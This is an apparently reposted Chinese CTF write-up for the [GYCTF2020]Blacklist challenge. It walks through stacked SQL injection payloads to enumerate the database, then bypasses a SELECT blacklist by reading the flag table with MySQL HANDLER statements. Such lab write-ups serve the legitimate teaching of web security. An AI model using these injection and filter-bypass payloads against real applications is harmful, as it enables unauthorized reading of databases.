[GYCTF2020]Blacklist&说说真心话

Posted H3h3QAQ

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GYCTF2020]Blacklist&说说真心话相关的知识,希望对你有一定的参考价值。

[GYCTF2020]Blacklist

今天没课,就来刷刷题

对于我来说sql注入题一直是菜鸡,正好BUU还有几道题没做(我是菜鸡呜呜呜)

就来做一下[GYCTF2020]Blacklist然后整理一下

打开靶机:

发现跟[强网杯 2019]随便注很像

我就试了是:

先爆一下列

1' order by 3;# 

到4的时候报错,所以证明只有三列

然后试一下是否存在堆叠注入,试一下payload:

1';show databases;#

存在堆叠注入

接着构造payload:

1';show tables;#

看一下FlagHere

构造payload:

1';show columns from FlagHere;#

发现了flag

本来想要直接爆字段

发现ban了select 等函数

翻了翻师傅们的wp

https://blog.csdn.net/zhangxiansheng12/article/details/107247450/?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-0&spm=1001.2101.3001.4242

发现需要使用到mysql查询语句-handler

https://blog.csdn.net/JesseYoung/article/details/40785137

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

随即构造新的payload:

1';handler FlagHere open;handler FlagHere read first;#

拿到了flag:

以上是关于[GYCTF2020]Blacklist&说说真心话的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[GYCTF2020]Blacklist

BUUCTF[GYCTF2020]Blacklist

从[GYCTF2020]Blacklist] 学习到的 handler 语句

从[GYCTF2020]Blacklist] 学习到的 handler 语句

GYCTF Web区部分WP

[GYCTF2020]Ezsqli